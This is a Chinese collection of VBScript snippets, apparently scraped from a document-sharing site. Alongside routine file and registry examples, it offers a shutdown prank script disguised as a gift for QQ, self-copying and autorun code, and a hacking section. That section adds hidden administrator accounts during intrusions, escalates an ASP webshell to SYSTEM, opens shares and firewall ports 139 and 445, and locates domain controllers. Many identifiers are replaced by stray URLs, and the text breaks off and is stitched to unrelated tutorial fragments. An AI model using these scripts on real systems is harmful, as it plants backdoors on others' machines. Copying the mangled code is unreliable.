VBS脚本常用经典代码收集
于 2011年7月2日21:13:37 整理
在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。
VBS播放音乐
Dim wmp
Set wmp=CreateObject("WMPlayer.OCX")
wmp.openState
wmp.URL="想象之中.mp3"
Do Until wmp.playState=1
WScript.Sleep1000
Loop
比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)
Set shell=CreateObject("WScript.Shell")
shell.run"shutdown-s-t60-c系统即将关闭.",0
While InputBox("请输入答案","请回答")<>"123"'密码是123
MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层
Wend
shell.run"shutdown-a",0
MsgBox"恭喜",64
修改桌面背景图片
Sphoto="d:\1.bmp"'输入你自己的BMP路径
computer="."
Const hkcu=&h80000001
Set wmi=GetObject("winmgmts:\\"&computer&"\root\default:stdregprov") wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath
wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"
wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"
wmi.setdwordvalue
hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1
Set wmi=Nothing
Set fso=CreateObject("scripting.filesystemobject")
Set fs=fso.Getfile(Sphoto)
backname=https://www.doczj.com/doc/b56061763.html,
https://www.doczj.com/doc/b56061763.html,=fso.GetFileName(Spath)
fs.Copy fso.GetParentFolderName(Spath)&"\",True
https://www.doczj.com/doc/b56061763.html,=backname
Set fso=Nothing
Set ws=CreateObject("wscript.shell")
ws.Run"gpupdate/force",vbhide
ws.Run"RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
Set ws=Nothing
VBS获取系统安装路径C:\WINDOWS路径
先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。
Set WshShell=WScript.CreateObject("WScript.Shell")
strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS获取C:\Program Files路径
Set WshShell=WScript.CreateObject("WScript.Shell")
strPorDir=WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
VBS获取C:\Program Files\Common Files路径
Set WshShell=WScript.CreateObject("WScript.Shell")
strCommDir=WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")
给桌面添加网址快捷方式
Set WshShell=WScript.CreateObject("Wscript.Shell")
strDesktop=WshShell.SpecialFolders("Desktop")
Set oShellLink=WshShell.CreateShortcut(strDesktop&"\百度.lnk") oShellLink.TargetPath="https://www.doczj.com/doc/b56061763.html,/"
oShellLink.Description="百度主页"
oShellLink.IconLocation="%ProgramFiles%\Internet Explorer\iexplore.exe,0" oShellLink.Save
给收藏夹添加网址
Const ADMINISTRATIVE_TOOLS=6
Set objShell=CreateObject("Shell.Application")
Set objFolder=https://www.doczj.com/doc/b56061763.html,space(ADMINISTRATIVE_TOOLS)
Set objFolderItem=objFolder.Self
Set objShell=WScript.CreateObject("WScript.Shell")
strDesktopFld=objFolderItem.Path
Set objURLShortcut=objShell.CreateShortcut(strDesktopFld&"\百度.url") objURLShortcut.TargetPath="https://www.doczj.com/doc/b56061763.html,/"
objURLShortcut.Save
删除指定目录指定后缀文件
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile"C:\*.vbs",True
Set fso=Nothing
VBS改主页
Set oShell=CreateObject("WScript.Shell")
oShell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","https://www.doczj.com/doc/b56061763.html,/"
VBS加启动项
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS复制自己到C盘
Dim fso
Set fso=WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")
复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)
Dim fso
Set fso=WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile("game.exe").copy("c:\cik.exe")
VBS获取系统临时目录
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder=2
Set tempfolder=fso.GetSpecialFolder(TemporaryFolder) Wscript.Echo tempfolder
就算代码出错依然继续执行
On Error Resume Next
VBS打开网址
Set objShell=CreateObject("Wscript.Shell")
objShell.Run("https://www.doczj.com/doc/b56061763.html,/")
VBS发送邮件
NameSpace="https://www.doczj.com/doc/b56061763.html,/cdo/configuration/" Set Email=CreateObject("CDO.Message")
Email.From="发件@https://www.doczj.com/doc/b56061763.html,"
Email.To="收件@https://www.doczj.com/doc/b56061763.html,"
Email.Subject="这里写标题"
Email.Textbody="这里写内容!"
Email.AddAttachment"C:\这是附件.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing")=2
.Item(NameSpace&"smtpserver")="https://www.doczj.com/doc/b56061763.html,"
.Item(NameSpace&"smtpserverport")=25
.Item(NameSpace&"smtpauthenticate")=1
.Item(NameSpace&"sendusername")="发件人用户名"
.Item(NameSpace&"sendpassword")="发件人密码"
.Update
End With
Email.Send
VBS结束进程
strComputer="."
Set objWMIService=GetObject_
("winmgmts:\\"&strComputer&"\root\cimv2")
Set colProcessList=objWMIService.ExecQuery_
("Select*from Win32_Process Where Name='Rar.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用) createObject("wscript.shell").run"start https://www.doczj.com/doc/b56061763.html,/",0
兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。Set objws=WScript.CreateObject("wscript.shell")
objws.Run"""C:\Program Files\Internet
Explorer\iexplore.exe""https://www.doczj.com/doc/b56061763.html,",0
VBS遍历硬盘删除指定文件名
On Error Resume Next
Dim fPath
strComputer="."
Set objWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2") Set colProcessList=objWMIService.ExecQuery("Select*from Win32_Process Where Name='gangzi.exe'")
For Each objProcess In colProcessList
objProcess.Terminate()
Next
Set objWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer&"\root\cimv2")
Set colDirs=objWMIService.ExecQuery("Select*from Win32_Directory where name LIKE'%c:%'or name LIKE'%d:%'or name LIKE'%e:%'or name LIKE'%f:%'or name LIKE'%g:%'or name LIKE'%h:%'or name LIKE'%i:%'")
Set objFSO=CreateObject("Scripting.FileSystemObject")
For Each objDir In colDirs
fPath=https://www.doczj.com/doc/b56061763.html,&"\cik.exe"
'如果文件名是cik.exe就删除
objFSO.DeleteFile(fPath),True
Next
VBS获取网卡MAC地址
Dim mc,mo
Set
mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration") For Each mo In mc
If mo.IPEnabled=True Then
MsgBox"本机网卡MAC地址是:"&mo.MacAddress
Exit For
End If
Next
VBS获取本机注册表主页地址
Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page")
MsgBox startpage
VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Co=vbCrLf&"路过。。。"
For Each i In fso.Drives
If i.DriveType=2Then
GF fso.GetFolder(i&"\")
End If
Next
Sub GF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
GF i
Next
End Sub
Sub Wh(fol)
Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i))="txt"Then
fso.OpenTextFile(i,8,0).Write Co
End If
Next
End Sub
获取计算机所有盘符
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives'取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives'遍历磁盘
MsgBox objdrive
Next
VBS给本机所有磁盘根目录创建文件
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives'取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis'遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("By Cik")
TestFile.Close
Next
VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe
Set fs=CreateObject("Scripting.FileSystemObject")
For Each drive In fs.drives
fstraversal drive.rootfolder
Next
Sub fstraversal(byval this)
For Each folder In this.subfolders
fstraversal folder
Next
Set files=this.files
For Each file In files
If https://www.doczj.com/doc/b56061763.html,="123.exe"Then https://www.doczj.com/doc/b56061763.html,="321.exe"
Next
End Sub
VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）
str="这里是你要复制到剪贴板的字符串"
Set ws=wscript.createobject("wscript.shell")
ws.run"mshta
vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(clo se)",0,true
QQ自动发消息
On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run"mshta
vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(clo se)",0
WshShell.run
"tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276
d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0
,true
WScript.Sleep3000
WshShell.SendKeys"^v"
WshShell.SendKeys"%s"
VBS隐藏文件
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile=objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes=objFile.Attributes AND2Then
objFile.Attributes=objFile.Attributes XOR2
End If
VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）
Randomize520
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
VBS删除桌面IE图标（非快捷方式）
Set oShell=CreateObject("WScript.Shell")
oShell.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoIntern etIcon",1,"REG_DWORD"
VBS获取自身文件名
MyName=WScript.ScriptName
msgbox MyName
MyFullName=WScript.ScriptFullName
msgbox MyFullName
VBS读取Unicode编码的文件
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile=objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText=objFile.ReadAll
objFile.Close
Wscript.Echo strText
VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径
set stm2=createobject("ADODB.Stream")
stm2.Charset="utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile=stm2.ReadText
MsgBox readfile
VBS禁用组策略
Set oShell=CreateObject("WScript.Shell")
oShell.RegWrite
"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnap ins",1,"REG_DWORD"
VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量
cik="1.txt"
cik2="2.txt"
Set Stm1=CreateObject("ADODB.Stream")
Stm1.Type=2
Stm1.Open
Stm1.Charset="UTF-8"
Stm1.Position=Stm1.Size
Stm1.WriteText cik2
Stm1.SaveToFile cik,2
Stm1.Close
set Stm1=nothing
VBS获取当前目录下所有文件夹名字（不包括子文件夹）
Set fso=WScript.CreateObject("Scripting.Filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
wsh.echo https://www.doczj.com/doc/b56061763.html,
Next
VBS获取指定目录下所有文件夹名字（包括子文件夹）
Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t&vbCrLf&op.path
Call aa(op)
Next
aa=t
End Function
VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）
注意：不知道是谁这么写我不发表任何意见
Set fso=CreateObject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=https://www.doczj.com/doc/b56061763.html,"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10) qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
VBS写hosts（没写判断，无论存不存在都追加底部）
Set fs=CreateObject("Scripting.FileSystemObject")
path=fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f=fs.OpenTextFile(path,8,TristateFalse)
f.Write"127.0.0.1www.不想上的网站.cn"
f.Write"127.0.0.1www.不想上的网站https://www.doczj.com/doc/b56061763.html,"
f.Close
VBS读取出
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desk top\NameSpace 下面所有键的名字并循环输出
Const HKLM=&H80000002
strPath=
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" Set oreg=GetObject("Winmgmts:\root\default:StdRegProv")
oreg.EnumKey HKLM,strPath,arr
For Each x In arr
WScript.Echo x
Next
VBS创建txt文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS创建文件夹
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
VBS判断文件夹是否存在
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists("C:\newFolder"))Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
VBS使用变量判断文件夹
Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If
VBS加输入框
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True) TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS检查是否有相同文件
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
MsgBox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True) TestFile.WriteLine("Hello,World!")
TestFile.Close
End If
VBS改写、追加文件
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1只读，2可写，8追加
openFile.Write"Hello World!"
openFile.Close
VBS读取文件 ReadAll 读取全部
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
VBS读取文件 ReadLine 读取一行
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())'如果读取行数超过文件的行数，就会出错VBS读取文件 Read 读取n个字符
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2))'如果超出了字符数，不会出错。
VBS删除文件
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
VBS删除文件夹
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder")'不管文件夹中有没有文件都一并删除VBS连续创建文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1To10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture) TestFile.WriteLine("Hello,World!")
TestFile.Close
Next
VBS根据计算机名随机生成字符串
Set ws=CreateObject("wscript.shell")
Set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1To n
Randomize Asc(Mid(RDA,1,1))
temp=CInt(25*Rnd)
temp=temp+65
UCharRand=UCharRand&Chr(temp)
Next
End Function
MsgBox UCharRand(Len(RDA))
VBS根据mac生成序列号
Function Encode(strPass)
Dim i,theStr,strTmp
For i=1To Len(strPass)
strTmp=Asc(Mid(strPass,i,1))
theStr=theStr&Abs(strTmp)
Next
strPass=theStr
theStr=""
Do While Len(strPass)>16
strPass=JoinCutStr(strPass)
Loop
For i=1To Len(strPass)
strTmp=CInt(Mid(strPass,i,1))
strTmp=IIf(strTmp>6,Chr(strTmp+60),strTmp)
theStr=theStr&strTmp
Next
Encode=theStr
End Function
Function JoinCutStr(str)
Dim i,theStr
For i=1To Len(str)
If Len(str)-i=0Then Exit For
theStr=theStr&Chr(CInt((Asc(Mid(str,i,1))+Asc(Mid(str,i+1,1))) /2))
i=i+1
Next
JoinCutStr=theStr
End Function
Function IIf(var,val1,val2)
If var=True Then
IIf=val1
Else
IIf=val2
End If
End Function
Set
mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration") For Each mo In mc
If mo.IPEnabled=True Then
theStr=mo.MacAddress
Exit For
End If
Next
Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)
Function allRand(n)
For i=1To n
Randomize Encode(theStr)
temp=CInt(25*Rnd)
If temp Mod2=0Then
temp=temp+97
ElseIf temp<9Then
temp=temp+48
Else
temp=temp+65
End If
allRand=allRand&Chr(temp)
Next
End Function
MsgBox allRand(rdnum)
VBS自动连接adsl
Dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
wsh.run"Rasdial连接名字账号密码",false,1
VBS自动断开ADSL
Dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
wsh.run"Rasdial/DISCONNECT",false,1
VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）
Dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
Set oIE=CreateObject("InternetExplorer.Application")
For i=1To5
wsh.run"Rasdial/DISCONNECT",False,1
wsh.run"Rasdial连接名字账号密码",False,1
oIE.Navigate"https://www.doczj.com/doc/b56061763.html,/?"&i&""
Call SynchronizeIE
oIE.Visible=True
Next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep3000
Loop
End Sub
用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：
Set wsnetwork=CreateObject("https://www.doczj.com/doc/b56061763.html,WORK")
os="WinNT://"&https://www.doczj.com/doc/b56061763.html,puterName
Set ob=GetObject(os)'得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group")'属性,admin组
Set od=ob.Create("user","lcx")'建立用户
od.SetPassword"123456"'设置密码
od.SetInfo'保存
Set of=GetObject(os&"/lcx",user)'得到用户
oe.add os&"/lcx"
这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。
将域用户或租添加到本地组
Set objGroup=GetObject(WinNT://./Administrators)
Set objUser=GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar=GetObject(WinNT://./administrator,user)
objcnla.SetPassword PassWord
objcnla.SetInfo
用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(https://www.doczj.com/doc/b56061763.html,)Then
sServerName=Obj3w.ServerComment
Set webSite=GetObject("IIS://Localhost/W3SVC/"&https://www.doczj.com/doc/b56061763.html,&"/Root") ListAllWeb=ListAllWeb&https://www.doczj.com/doc/b56061763.html,&String(25-Len(https://www.doczj.com/doc/b56061763.html,),"")& obj3w.ServerComment&"("&webSite.Path&")"&vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？
用VBS快速找到内网域的主服务器
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：
Set obj=GetObject("LDAP://rootDSE")
WScript.Echo obj.servername
只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。
WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一
般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是
IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:
Set wsh=Createobject("wscript.shell")'创建一个wsh对象
wsh.run"cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set
/W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll
C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0'加入
asp.dll到InProcessIsapiApps中
将其保存为vbs的后缀,再上传到服务上，
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了
VBS开启ipc服务和相关设置
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run"net user helpassistant123456",0,false
wsh3.Run"net user helpassistant/active",0,false
wsh3.Run"net localgroup administrators helpassistant/add",0,false
wsh3.Run"net start Lanmanworkstation/y",0,false
wsh3.Run"net start Lanmanserver/y",0,false
wsh3.Run"net start ipc$",0,True
wsh3.Run"net share c$=c:\",0,false
wsh3.Run"netsh firewall set notifications disable",0,True
wsh3.Run"netsh firewall set portopening TCP139enable",0,false
wsh3.Run"netsh firewall set portopening UDP139enable",0,false
wsh3.Run"netsh firewall set portopening TCP445enable",0,false
wsh3.Run"netsh firewall set portopening UDP445enable",0,false
VBS时间判断代码
Digital=Time
hours=Hour(Digital)
minutes=Minute(Digital)
seconds=Second(Digital)
If(hours<6)Then
dn="凌辰了，还没睡啊？"
End If
If(hours>=6)Then
dn="早上好！"
End If
If(hours>12)Then
dn="下午好！"
End If
If(hours>18)Then
dn="晚上好！"
End If
If(hours>22)Then
dn="不早了，夜深了，该睡觉了！"
End If
If(minutes<=9)Then
minutes="0"&minutes
End If
If(seconds<=9)Then
seconds="0"&seconds
End If
ctime=hours&":"&minutes&":"&seconds&""&dn
MsgBox ctime
VBS注册表读写
Dim OperationRegistry,mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum=9
mynum=
OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con trol\Lsa\forceguest")
MsgBox("before forceguest="&mynum)
OperationRegistry.RegWrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0 mynum=
OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con trol\Lsa\forceguest")
MsgBox("after forceguest="&mynum)
VBS运行后删除自身代码
dim fso,f
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile(WScript.ScriptName)
VBS获取参数并显示
For i=0To WScript.Arguments.Count-1
MsgBox WScript.Arguments.Item(i)
Next
检测是否重复运行
Function IsRun()
IsRun=False
For Each ps In
GetObject("winmgmts:\\.\root\cimv2:win32_process").instances_
If LCase(https://www.doczj.com/doc/b56061763.html,)="wscript.exe"Then
If InStr(LCase(https://www.doczj.com/doc/b56061763.html,mandLine),LCase(WScript.scriptname))Then
i=i+1
Vbs脚本经典教材 Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs？ 在Windows中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开W ORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。 第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机（？）吗？ Vbs是一种Windows脚本，它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。 我个人认为Vbs脚本其实就是一种计算机编程语言，但是由于缺少计算机程序设计语言中的部分要素，对于事件的描述能力较弱，所以称为脚本，它最方便的地方就是提供了对COM对象的简便支持。那么什么是COM对象呢？ 我这样理解，COM对象就是一些具有特定函数功能项程序模块，他们一般以ocx或者dll作为扩展名，你只要找到包含有你需要的功能的模块文件，并在脚本中规范的引用，就可以实现特定的功能，也就是说Vbs脚本就是调用现成的“控件”作为对象，用对象的属性和方法实现目的，完全免去了编写代码、设计算法等等麻烦。说白了，我不是觉得拔猪毛麻烦么？我发觉xx机（比如真空离心器）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛。什么？大材小用？太浪费资源了？天哪，那是计算机芯片的事情，死道友不死贫道，反正我的事情是方便快速的解决了，这就行了。 最方便的是它甚至不需要专门的开发环境，在你的计算机中，只要有notepad，就可以编写Vbs 脚本了，并且可以直接执行。
VBS代码片断大全[一] 1 VBS 取得本机IP strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next -------------------------------------------------------------------------------- 2 取得本机计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem") For Each objComputer in colComputers Wscript.Echo https://www.doczj.com/doc/b56061763.html, Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查Hot Fix strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") 